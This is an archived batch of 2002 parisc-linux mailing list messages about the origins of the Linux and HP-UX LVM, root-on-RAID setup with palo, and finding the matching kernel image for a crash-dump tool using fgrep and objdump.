	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 19:33:51 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16Sqkq-000177-00; Tue, 22 Jan 2002 02:33:44 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020122022033.C1685482A@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Mon, Jan 21, 2002 at 07:20:33PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13824

On Mon, Jan 21, 2002 at 07:20:33PM -0700, Grant Grundler wrote:
> No. HPUX LVM is derived from the same original sources as linux's LVM
> but is not compatible.

This is not true.  Linux's LVM is an independent implementation.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioned md to enable root on raid
Date: Mon, 21 Jan 2002 21:08:49 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20020122040850.03E86482A@dsl2.external.hp.com>
References: <Pine.LNX.4.42.0201220007440.13910-100000@r6.petescaff.com>  <20020122022033.C1685482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620995 1423 80.91.229.3 (22 Nov 2014 01:49:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:55 +0000 (UTC)
To: Peter Mottram <peter@petescaff.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 21:08:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 03E86482A; Mon, 21 Jan 2002 21:08:49 -0700 (MST)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Mon, 21 Jan 2002 19:20:33 MST." <20020122022033.C1685482A@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13825

Grant Grundler wrote:
> I would prefer patches that makes it harder for linus to accept our bits
> get introduced right now.

er, *not* get introduced...

sorry,
grant



From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioned md to enable root on raid
Date: Mon, 21 Jan 2002 21:11:05 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20020122041106.EF882483A@dsl2.external.hp.com>
References: <Pine.LNX.4.42.0201220007440.13910-100000@r6.petescaff.com> <peter@petescaff.com> <20020122022033.C1685482A@dsl2.external.hp.com>  <20020122023344.U31512@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620995 1426 80.91.229.3 (22 Nov 2014 01:49:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:55 +0000 (UTC)
Cc: Peter Mottram <peter@petescaff.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 21:11:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id EF882483A; Mon, 21 Jan 2002 21:11:05 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Tue, 22 Jan 2002 02:33:44 GMT." <20020122023344.U31512@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13826

Matthew Wilcox wrote:
> This is not true.  Linux's LVM is an independent implementation.

Sorry - my bad. I meant the disk layout. At least that's how I remember
Martin Petersen explained the issues 2 years ago.

thanks,
grant



From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioned md to enable root on raid
Date: 22 Jan 2002 01:32:10 -0500
Organization: mkp.net
Lines: 42
Approved: news@gmane.org
Message-ID: <yq1665ukiad.fsf@jaguar.wave.mkp.net>
References: <Pine.LNX.4.42.0201220007440.13910-100000@r6.petescaff.com>
	<20020122022033.C1685482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620995 1428 80.91.229.3 (22 Nov 2014 01:49:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:55 +0000 (UTC)
Cc: Peter Mottram <peter@petescaff.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 23:33:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover (rover.mkp.net [209.217.122.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37299482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 23:33:13 -0700 (MST)
Original-Received: from localhost.localdomain ([127.0.0.1] helo=rover.mkp.net)
	by rover with esmtp (Exim 3.33 #1)
	id 16SuUP-0003kq-00; Tue, 22 Jan 2002 01:33:01 -0500
Original-Received: (from mkp@localhost)
	by rover.mkp.net (8.11.6/8.9.3) id g0M6WB107590;
	Tue, 22 Jan 2002 01:32:11 -0500
X-Authentication-Warning: jaguar.wave.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <20020122022033.C1685482A@dsl2.external.hp.com>
Original-Lines: 40
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Civil Service)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13827

>>>>> "Grant" == Grant Grundler <grundler@dsl2.external.hp.com> writes:

>> Here's the next question - does palo understand how to boot from
>> LVM?

Grant> No. HPUX LVM is derived from the same original sources as
Grant> linux's LVM but is not compatible. 

Linux LVM is closely modeled after the HP/UX LVM from a sysadmin
perspective.  But there's no code sharing involved.

What I really said was that IBM wrote the original LVM and donated the
code to OSF.  HP then picked it up and ported it to HP/UX.  So AIX,
OSF/1 and HP/UX volume managers share a common ancestor.  These days
they have diverted greatly, though.


Grant> HP cannot release the disk layout since it's not HP's to give
Grant> away. MKP tried to reverse engineer it early in the port and
Grant> gave up after a while. 

I didn't spend a lot of time on it (a couple of hours of poking).  I
also tried getting specs for the LVM metadata out of HP with no avail.

A read-only implementation for palo should be fairly trivial to write
but hardly worth the effort.


I do agree with the concensus that MD partitioning is not worth it.

Mirror the palo partition as md0, swap as md1 and / as md2.  Or
whatever.  That's the way to do it.

As long as you don't need autodetection (and you don't since PDC/IODC
don't understand MD devices anyway), you'll be fine leaving the
palo partition type as F0.

-- 
Martin K. Petersen      Cereal Bowl Engineer, Linuxcare, Inc.
http://mkp.net/         SGI XFS, Linux/PA-RISC, GNOME



From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 10:20:59 +0100
Organization: H.P
Lines: 81
Approved: news@gmane.org
Message-ID: <3C4D2EFB.F82671C2@admin.france.hp.com>
References: <3C4C53B7.67DA24E@admin.france.hp.com> <20020121202539.994A5482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------5490FC84E99E01E2CB93F34F"
X-Trace: ger.gmane.org 1416620996 1430 80.91.229.3 (22 Nov 2014 01:49:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:56 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 02:24:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3EAB482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 02:24:06 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 74168B0A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 10:24:01 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id KAA10286 for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 10:23:27 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13828

This is a multi-part message in MIME format.
--------------5490FC84E99E01E2CB93F34F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Sorry, but on my system, fgrep gives nothing
(and by using strings, I found nothing also). And I
can't use dmesg buffer, because by definition it is a buffer,
so after running sometime, the palo boot strings is not
in the buffer anymore. Some new ideas ?

	Thanks.

Grant Grundler wrote:
> 
> Bruno Vidal wrote:
> > As I said few days ago, I've a dump driver ready.
> > Now I'm working on a savecrash command. It works fine
> > for the dump, but I need to save with the dump some
> > informations like the running kernel at dump time.
> 
> Bruno - this is great!
> 
> > So in the dump I've got this informations:
> > utsname_release and utsname_version. Now, how can
> > I found the right kernel in /boot ? In other
> > word, how can I retrieve utsname informations in a
> > binary file (without system.map and gdb) ?
> 
> A couple of ideas/hacks:
> o assume it's /boot/System.map + /boot/vmlinux. Tell people if they
>   want to use dump/savecrash, that's what they have to do.
> 
> o assume it's in /boot. Use fgrep to find the matching strings.
>   Something like
>         #!/bin/sh
>         cd /boot
>         for i in *
>         do
>                 fgrep $1 $i > /dev/null 2>&1
>                 if [ $? -eq 0 ]
>                 then
>                         echo $i
>                         exit 0
>                 fi
>         done
>         exit 1
> 
> The case that /boot might not be mounted could cause problems.
> 
> Since klogd seems to want System.map, perhaps savecrash could use
> the same heuristics to find the "right" System.map.
> See Documentation/oops-tracing.txt for more details.
> 
> hth,
> grant

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------5490FC84E99E01E2CB93F34F
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------5490FC84E99E01E2CB93F34F--




From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Enrik Berkhan <Enrik.Berkhan@planb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 10:55:53 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20020122105553.A5510@electra.intern.planb.de>
References: <3C4C53B7.67DA24E@admin.france.hp.com> <20020121202539.994A5482A@dsl2.external.hp.com> <3C4D2EFB.F82671C2@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620996 1433 80.91.229.3 (22 Nov 2014 01:49:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:56 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 02:55:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.planb.de (aldebaran.planb.de [212.227.14.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AF93482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 02:55:55 -0700 (MST)
Original-Received: from electra.intern.planb.de (andromeda.planb.de [212.227.19.14])
	by mail.planb.de with esmtp 
	id 16Sxej-0007VE-00; Tue, 22 Jan 2002 10:55:53 +0100
Content-Disposition: inline
In-Reply-To: <3C4D2EFB.F82671C2@admin.france.hp.com>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13829

On Tue, Jan 22, 2002 at 10:20:59AM +0100, Bruno Vidal wrote:
> 	Sorry, but on my system, fgrep gives nothing
> (and by using strings, I found nothing also). And I
> can't use dmesg buffer, because by definition it is a buffer,
> so after running sometime, the palo boot strings is not
> in the buffer anymore. Some new ideas ?

I think the correct way would be to use libbfd to achieve something
similar to the following in "shell notation":

| objdump -t vmlinux| grep " system_utsname"
102860c0 g     O .data  00000186 system_utsname
^ start                 ^ size
| objdump --start-address=0x102860c0 --stop-address=0x10286246 vmlinux
...
102860c0 4c696e75 78000000 00000000 00000000  Linux...........
102860d0 00000000 00000000 00000000 00000000  ................
102860e0 00000000 00000000 00000000 00000000  ................
102860f0 00000000 00000000 00000000 00000000  ................
10286100 00286e6f 6e652900 00000000 00000000  .(none).........
10286110 00000000 00000000 00000000 00000000  ................
10286120 00000000 00000000 00000000 00000000  ................
10286130 00000000 00000000 00000000 00000000  ................
10286140 0000322e 342e3137 2d706131 31000000  ..2.4.17-pa11...
10286150 00000000 00000000 00000000 00000000  ................
10286160 00000000 00000000 00000000 00000000  ................
10286170 00000000 00000000 00000000 00000000  ................
10286180 00000023 3134204d 6f6e204a 616e2032  ...#14 Mon Jan 2
10286190 31203230 3a34323a 33352043 45542032  1 20:42:35 CET 2
102861a0 30303200 00000000 00000000 00000000  002.............
...

Using libbfd it should be feasible to read a "struct new_utsname"
from the binaries. Sorry, but don't have the time for a better
proof-of-concept than using objdump today.

Enrik
-- 
Enrik Berkhan                                         plan b. GmbH
                                                      Rppurrer Strae 4
+49-721-388582 (voice)                                76137 Karlsruhe
+49-721-388581 (fax)                                  Germany



From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: 22 Jan 2002 07:05:37 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <1011701137.21924.137.camel@archimedes.localnetsolutions.com>
References: <3C4C53B7.67DA24E@admin.france.hp.com>
	<20020121202539.994A5482A@dsl2.external.hp.com> 
	<3C4D2EFB.F82671C2@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-9bspbxO+wnseFGXEEyPg"
X-Trace: ger.gmane.org 1416620996 1435 80.91.229.3 (22 Nov 2014 01:49:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:56 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 05:05:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EA3F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 05:05:41 -0700 (MST)
Original-Received: from archimedes.localnetsolutions.com ([199.174.105.194])
	by hall.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 16SzgJ-0001qj-00
	for parisc-linux@lists.parisc-linux.org; Tue, 22 Jan 2002 07:05:39 -0500
Original-Received: (from jkinney@localhost)
	by archimedes.localnetsolutions.com (8.11.6/linuxconf) id g0MC5bS00539;
	Tue, 22 Jan 2002 07:05:37 -0500
In-Reply-To: <3C4D2EFB.F82671C2@admin.france.hp.com>
X-Mailer: Evolution/1.0.1 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13830

--=-9bspbxO+wnseFGXEEyPg
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Tue, 2002-01-22 at 04:20, Bruno Vidal wrote:
> 	Sorry, but on my system, fgrep gives nothing
> (and by using strings, I found nothing also). And I
> can't use dmesg buffer, because by definition it is a buffer,
> so after running sometime, the palo boot strings is not
> in the buffer anymore. Some new ideas ?
>=20

I'm not at my PaLinux box, but my intel linux has a dmesg file in
/var/log. I seem to recall that HPUX uses a buffer for dmesg. I'll check
the PaLinux shortly.

--=20
James P. Kinney III   \Changing the mobile computing world/
President and COO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-9bspbxO+wnseFGXEEyPg
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA8TVWRYZCtw4KcbKcRAuEBAKDzH1l0QhZCaExbiRpOfrFCVX8MMgCg1X5w
BXME38xnshesQOMX8Iw2H4s=
=cROj
-----END PGP SIGNATURE-----

--=-9bspbxO+wnseFGXEEyPg--



From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 13:25:42 +0100
Organization: H.P
Lines: 44
Approved: news@gmane.org
Message-ID: <3C4D5A46.426BE5E5@admin.france.hp.com>
References: <3C4C53B7.67DA24E@admin.france.hp.com> <20020121202539.994A5482A@dsl2.external.hp.com> <3C4D2EFB.F82671C2@admin.france.hp.com> <20020122105553.A5510@electra.intern.planb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------A6ABBFAE75CB5C440C3E2D6F"
X-Trace: ger.gmane.org 1416620997 1436 80.91.229.3 (22 Nov 2014 01:49:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:57 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 05:28:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0B03482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 05:28:44 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 6D41E30
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 13:28:43 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id NAA03830 for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 13:28:09 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13831

This is a multi-part message in MIME format.
--------------A6ABBFAE75CB5C440C3E2D6F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I think that Enrik has a good starting point, where can I find
a good how-to about libbfd ? there is nothing under /usr/share/doc ?
A web page ?

	Thanks.

ps: I don't like any solution based on the dmesg, because by
definition it is volatile (even files under /var/log). For
example a server running since a long time, has always
nfs file handle, or file system full, etc.... so you cannot
be sure that your palo string will be there. So I greatly
prefer a solution based on bfd and look under /boot (or
any other directory found on palo line option)

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------A6ABBFAE75CB5C440C3E2D6F
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
